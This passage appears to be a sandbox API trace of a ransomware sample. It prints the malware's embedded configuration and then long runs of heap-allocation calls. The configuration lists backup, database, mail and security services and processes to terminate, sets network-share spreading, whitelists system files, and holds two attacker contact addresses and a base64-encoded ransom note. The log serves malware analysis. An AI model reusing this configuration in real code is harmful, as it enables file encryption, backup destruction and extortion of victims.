",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0xaf82c, _Radix=0 | out: _EndPtr=0xaf82c*=", \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 5 [0129.778] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ce888, Size=0x1c) returned 0x6cf840 [0129.778] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ce888 [0129.778] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cf840, Size=0x20) returned 0x6cf890 [0129.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ce8a8 [0129.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4) returned 0x6cc028 [0129.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ce8c8 [0129.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc028, Size=0x8) returned 0x6cc018 [0129.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ce8e8 [0129.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cf890, Size=0x24) returned 0x6c8538 [0129.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ce908 [0129.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c8538, Size=0x28) returned 0x6c8568 [0129.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ce928 [0129.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c8568, Size=0x2c) returned 0x6ca788 [0129.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ce948 [0129.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4) returned 0x6cc028 [0129.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ce968 [0129.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4) returned 0x6cc038 [0129.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ce988 [0129.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc038, Size=0x8) returned 0x6cc048 [0129.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ce9a8 [0129.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc048, Size=0xc) returned 0x6c38b0 [0129.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ce9c8 [0129.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c38b0, Size=0x10) returned 0x6c3898 [0129.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ce9e8 [0129.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c3898, Size=0x14) returned 0x6cea08 [0129.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6cea28 [0129.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cea08, Size=0x18) returned 0x6cea48 [0129.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6cea08 [0129.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cea48, Size=0x1c) returned 0x6cf890 [0129.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6cea48 [0129.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cf890, Size=0x20) returned 0x6cf840 [0129.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6cea68 [0129.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cf840, Size=0x24) returned 0x6c8568 [0129.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6cea88 [0129.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c8568, Size=0x28) returned 0x6c8538 [0129.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ceaa8 [0129.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c8538, Size=0x2c) returned 0x6ca7c0 [0129.780] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ceac8 [0129.780] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ca7c0, Size=0x30) returned 0x6ca7f8 [0129.780] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ceae8 [0129.780] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ca7f8, Size=0x34) returned 0x6c99d0 [0129.780] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ceb08 [0129.780] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c99d0, Size=0x38) returned 0x6c9a10 [0129.780] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ceb28 [0129.780] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c9a10, Size=0x3c) returned 0x6c22c0 [0129.780] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ceb48 [0129.780] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c22c0, Size=0x40) returned 0x6c2308 [0129.780] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ceb68 [0129.780] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c2308, Size=0x44) returned 0x6d1750 [0129.780] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ceb88 [0129.780] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d1750, Size=0x48) returned 0x6d1750 [0129.780] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ceba8 [0129.780] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d1750, Size=0x4c) returned 0x6d1750 [0129.780] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6cebc8 [0129.780] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d1750, Size=0x50) returned 0x6d1750 [0129.780] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6cebe8 [0129.780] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d1750, Size=0x54) returned 0x6d1750 [0129.780] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6cec08 [0129.780] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d1750, Size=0x58) returned 0x6d1750 [0129.780] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6cec28 [0129.780] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d1750, Size=0x5c) returned 0x6d1750 [0129.781] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6cec48 [0129.781] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d1750, Size=0x60) returned 0x6d1750 [0129.781] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6cec68 [0129.781] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d1750, Size=0x64) returned 0x6d1750 [0129.781] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6cec88 [0129.781] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d1750, Size=0x68) returned 0x6d1750 [0129.781] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ceca8 [0129.781] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d1750, Size=0x6c) returned 0x6d1750 [0129.781] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6cecc8 [0129.781] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d1750, Size=0x70) returned 0x6d1750 [0129.781] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6cece8 [0129.781] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d1750, Size=0x74) returned 0x6d1750 [0129.781] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ced08 [0129.781] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d1750, Size=0x78) returned 0x6d1750 [0129.781] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ced28 [0129.781] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d1750, Size=0x7c) returned 0x6d1750 [0129.781] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ced48 [0129.781] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d1750, Size=0x80) returned 0x6d1750 [0129.781] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ced68 [0129.781] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d1750, Size=0x84) returned 0x6d1750 [0129.781] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ced88 [0129.781] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d1750, Size=0x88) returned 0x6d1750 [0129.781] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ceda8 [0129.781] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d1750, Size=0x8c) returned 0x6d1750 [0129.781] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6cedc8 [0129.781] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d1750, Size=0x90) returned 0x6d1750 [0129.781] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d3da8 [0129.781] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d1750, Size=0x94) returned 0x6d1750 [0129.781] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d3dc8 [0129.781] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc028, Size=0x8) returned 0x6cc048 [0129.781] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d3de8 [0129.781] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4) returned 0x6cc028 [0129.781] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d3e08 [0129.781] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc028, Size=0x8) returned 0x6cc038 [0129.781] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d3e28 [0129.781] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc038, Size=0xc) returned 0x6c3898 [0129.781] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d3e48 [0129.781] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c3898, Size=0x10) returned 0x6c38b0 [0129.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d3e68 [0129.782] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c38b0, Size=0x14) returned 0x6d3e88 [0129.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d3ea8 [0129.782] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d3e88, Size=0x18) returned 0x6d3ec8 [0129.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d3e88 [0129.782] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d3ec8, Size=0x1c) returned 0x6cf840 [0129.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d3ec8 [0129.782] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cf840, Size=0x20) returned 0x6cf890 [0129.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d3ee8 [0129.782] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cf890, Size=0x24) returned 0x6c8538 [0129.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d3f08 [0129.782] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c8538, Size=0x28) returned 0x6c8568 [0129.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d3f28 [0129.782] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c8568, Size=0x2c) returned 0x6ca7f8 [0129.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d3f48 [0129.782] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ca7f8, Size=0x30) returned 0x6ca7c0 [0129.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d3f68 [0129.782] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ca7c0, Size=0x34) returned 0x6c9a10 [0129.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d3f88 [0129.782] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c9a10, Size=0x38) returned 0x6c99d0 [0129.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d3fa8 [0129.782] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c99d0, Size=0x3c) returned 0x6c2308 [0129.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d3fc8 [0129.782] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c2308, Size=0x40) returned 0x6c22c0 [0129.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d3fe8 [0129.782] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc048, Size=0xc) returned 0x6c38b0 [0129.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4008 [0129.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4) returned 0x6cc048 [0129.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4028 [0129.783] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc048, Size=0x8) returned 0x6cc038 [0129.783] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4048 [0129.783] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc038, Size=0xc) returned 0x6c3898 [0129.783] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4068 [0129.783] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c3898, Size=0x10) returned 0x6c3928 [0129.783] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4088 [0129.783] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c3928, Size=0x14) returned 0x6d40a8 [0129.783] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d40c8 [0129.783] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d40a8, Size=0x18) returned 0x6d40e8 [0129.783] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d40a8 [0129.783] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d40e8, Size=0x1c) returned 0x6cf890 [0129.783] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d40e8 [0129.783] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cf890, Size=0x20) returned 0x6cf840 [0129.783] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4108 [0129.783] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cf840, Size=0x24) returned 0x6c8568 [0129.783] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4128 [0129.783] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c8568, Size=0x28) returned 0x6c8538 [0129.783] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4148 [0129.783] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c8538, Size=0x2c) returned 0x6ca7c0 [0129.783] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4168 [0129.783] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ca7c0, Size=0x30) returned 0x6ca7f8 [0129.783] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4188 [0129.783] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ca7f8, Size=0x34) returned 0x6c99d0 [0129.783] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d41a8 [0129.783] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c99d0, Size=0x38) returned 0x6c9a10 [0129.783] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d41c8 [0129.783] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c9a10, Size=0x3c) returned 0x6c2308 [0129.783] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d41e8 [0129.783] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c2308, Size=0x40) returned 0x6c2350 [0129.783] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4208 [0129.783] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c2350, Size=0x44) returned 0x6d17f0 [0129.783] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4228 [0129.783] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x48) returned 0x6d17f0 [0129.783] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4248 [0129.783] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x4c) returned 0x6d17f0 [0129.783] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d4268 [0129.783] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6d17f0, Size=0x50) returned 0x6d17f0 [0129.784] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 